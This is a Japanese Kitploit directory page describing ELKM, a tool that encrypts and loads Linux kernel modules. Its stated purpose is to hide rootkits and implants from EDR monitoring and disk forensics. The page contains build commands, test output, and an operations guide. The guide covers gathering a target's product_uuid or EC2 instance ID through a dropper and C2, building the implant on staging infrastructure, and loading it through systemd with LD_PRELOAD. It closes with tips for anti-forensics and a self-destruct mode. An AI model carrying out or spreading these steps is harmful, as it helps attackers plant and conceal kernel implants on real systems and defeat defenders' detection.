Skip to content
KitploitKITPLOIT
ツールブログ
提出
ツールブログ
提出

ハッキング、侵入テスト、サイバーセキュリティツールをあなたのセキュリティアーセナルに!

Kitploitはハッキング、サイバーセキュリティ、ペネトレーションテストのツールディレクトリです。最新のプロジェクトアップデートを見つけて、脆弱性の発見、システム分析、テストの自動化、セキュリティの強化を行いましょう。

··フィード·お問い合わせ·プライバシー·© 2026 Kitploit

ツールディレクトリ

カテゴリ

すべてのカテゴリを見る
Loading categories
encrypted-linux-kernel-modules — encrypted-linux-kernel-modules | Kitploit
ツール/GitHubGitHub/cenobyte-vincit/encrypted-linux-kernel-modules
特権昇格暗号化/復号化ツール永続化メカニズムIDS/IPS回避ポストエクスプロイトコマンド&コントロールレッドチーミングペイロード開発

人気

すべて見る →

コミュニティで最も使われているツールを見つけましょう。

すべてのツールを探索

ツールコレクションを閲覧

すべてのツールを見る →
共有
GitHub
cenobyte-vincit/encrypted-linux-kernel-modules

encrypted-linux-kernel-modules

encrypted-linux-kernel-modules

リポジトリを見る
13355年前未レビュー

ELKM: 暗号化された Linux x86-64 ローダブルカーネルモジュール

ELKM は、暗号化されたローダブルカーネルモジュール (LKM) を安全に転送およびロードするためのメカニズムを提供します。その目的は、カーネルベースのルートキットやインプラントを、Endpoint Detection and Response (EDR) ソフトウェアによる監視から保護し、ディスクフォレンジックツールによるリカバリの効果を無効化することです。

RHEL/CentOS 7

ELKM は RHEL/CentOS 7 x86-64 向けに特別に作成されました。

root@kitploit:~
kernel-tools-libs-3.10.0-1127.18.2.el7.x86_64
kernel-devel-3.10.0-1127.18.2.el7.x86_64
kernel-tools-3.10.0-1127.18.2.el7.x86_64
kernel-headers-3.10.0-1127.18.2.el7.x86_64
kernel-3.10.0-1127.18.2.el7.x86_64

ビルド環境の準備

root@kitploit:~
sudo yum install glibc-static -y
sudo yum install kernel-devel -y
sudo yum install kernel-headers -y
sudo yum install openssl-devel -y
sudo yum install libcurl-devel -y

ローカル自動テスト

テストスクリプトは以下の4つのテストを実行します:

  • /sys/class/dmi/id/product_uuid を介して提供されるパスワード
  • http://169.254.169.254/latest/meta-data/instance-id を介して提供されるパスワード (EC2 の場合)
  • 環境変数を介して提供されるパスワード
  • 標準入力を介して提供されるパスワード
root@kitploit:~
$ make
$ sudo ./test.sh
make -C /lib/modules/3.10.0-1127.13.1.el7.x86_64/build M=/home/test/encrypted-kernel-modules clean
make[1]: Entering directory `/usr/src/kernels/3.10.0-1127.13.1.el7.x86_64'
  CLEAN   /home/test/encrypted-kernel-modules/.tmp_versions
  CLEAN   /home/test/encrypted-kernel-modules/Module.symvers
make[1]: Leaving directory `/usr/src/kernels/3.10.0-1127.13.1.el7.x86_64'
rm -f loader.so
rm -f payloadfuser
make -C /lib/modules/3.10.0-1127.13.1.el7.x86_64/build M=/home/test/encrypted-kernel-modules modules
make[1]: Entering directory `/usr/src/kernels/3.10.0-1127.13.1.el7.x86_64'
  CC [M]  /home/test/encrypted-kernel-modules/kernel-module.o
  Building modules, stage 2.
  MODPOST 1 modules
  CC      /home/test/encrypted-kernel-modules/kernel-module.mod.o
  LD [M]  /home/test/encrypted-kernel-modules/kernel-module.ko
make[1]: Leaving directory `/usr/src/kernels/3.10.0-1127.13.1.el7.x86_64'
gcc -o loader.so loader.c -fPIC -shared -ldl -lcrypto -Wall
gcc -o payloadfuser payloadfuser.c -lcrypto -Wall
strip --strip-unneeded kernel-module.ko
strip --strip-unneeded loader.so
strip payloadfuser
--------------------------------------------------------------------------------
stage 1: fusing './kernel-module.ko' payload with './loader.so' using './payloadfuser':
main(): encrypting './kernel-module.ko' with password '07EC86F1-957C-6B4E-9134-7A6DE5ACC99C', and fusing with './loader.so'

stage 2: executing './loader.so':

module loaded: YES
unloading

--------------------------------------------------------------------------------
stage 1: fusing './kernel-module.ko' payload with './loader.so' using './payloadfuser':
main(): encrypting './kernel-module.ko' with password 'TEST-ENV-KEY', and fusing with './loader.so'

stage 2: executing './loader.so':

module loaded: YES
unloading

--------------------------------------------------------------------------------
stage 1: fusing './kernel-module.ko' payload with './loader.so' using './payloadfuser':
main(): encrypting './kernel-module.ko' with password 'TEST-STDIN-KEY', and fusing with './loader.so'

stage 2: executing './loader.so':

module loaded: YES
unloading

ビルド、および手動によるテストペイロードの作成

root@kitploit:~
make
./payloadfuser ./kernel-module.ko ./loader.so dummykey
FOO=dummykey LD_PRELOAD=./loader.so /usr/lib/systemd/systemd

運用

ELKM を特定のシステムに紐付ける

product_uuid を使用する場合

ターゲットシステム上で:

root@kitploit:~
cat /sys/class/dmi/id/product_uuid

注: これは自動化された方法 (例: ドロッパー経由) で行う必要があります。product_uuid を C2 経由でステージングインフラストラクチャに送信します。

ステージングインフラストラクチャ上で:

root@kitploit:~
./payloadfuser ./implant.ko ./loader.so $uuid

ターゲットシステム上で、ステージングインフラストラクチャからローダーをダウンロードし、信頼できる実行可能ファイルを介して実行します:

root@kitploit:~
LD_PRELOAD=./loader.so /usr/lib/systemd/systemd
EC2 インスタンス ID を使用する場合

ターゲットシステム上で:

root@kitploit:~
curl http://169.254.169.254/latest/meta-data/instance-id

注: これは自動化された方法 (例: ドロッパー経由) で行う必要があります。インスタンス ID を C2 経由でステージングインフラストラクチャに送信します。

ステージングインフラストラクチャ上で:

root@kitploit:~
./payloadfuser ./implant.ko ./loader.so $instanceid

ターゲットシステム上で、ステージングインフラストラクチャからローダーをダウンロードし、信頼できる実行可能ファイルを介して実行します:

root@kitploit:~
LD_PRELOAD=./loader.so /usr/lib/systemd/systemd

環境変数または対話型シェルで使用するパスワードを設定するには

ステージングインフラストラクチャ上で:

root@kitploit:~
./payloadfuser ./implant.ko ./loader.so PASSWORD

ターゲットシステム上で、環境変数を介して:

root@kitploit:~
# FOO=PASSWORD LD_PRELOAD=./loader.so /usr/lib/systemd/systemd
#

または標準入力を介して:

root@kitploit:~
# LD_PRELOAD=./loader.so /usr/lib/systemd/systemd
THISISMYINTERACTIVEPASSWORD
#

ヒント

ELKM を実際に運用する場合のヒントをいくつか示します:

  • 'debug' 付きでコンパイルしない
  • 関数名を変更する
  • より多くのアンチフォレンジック技術を実装する
  • OpenSSL を別の暗号ライブラリに置き換えることを検討する
  • パスワードが失敗した場合の自己破壊モードを実装する

フィンガープリンティングを避けるため、これらの機能を実装しない選択をしました。

ツールをダウンロード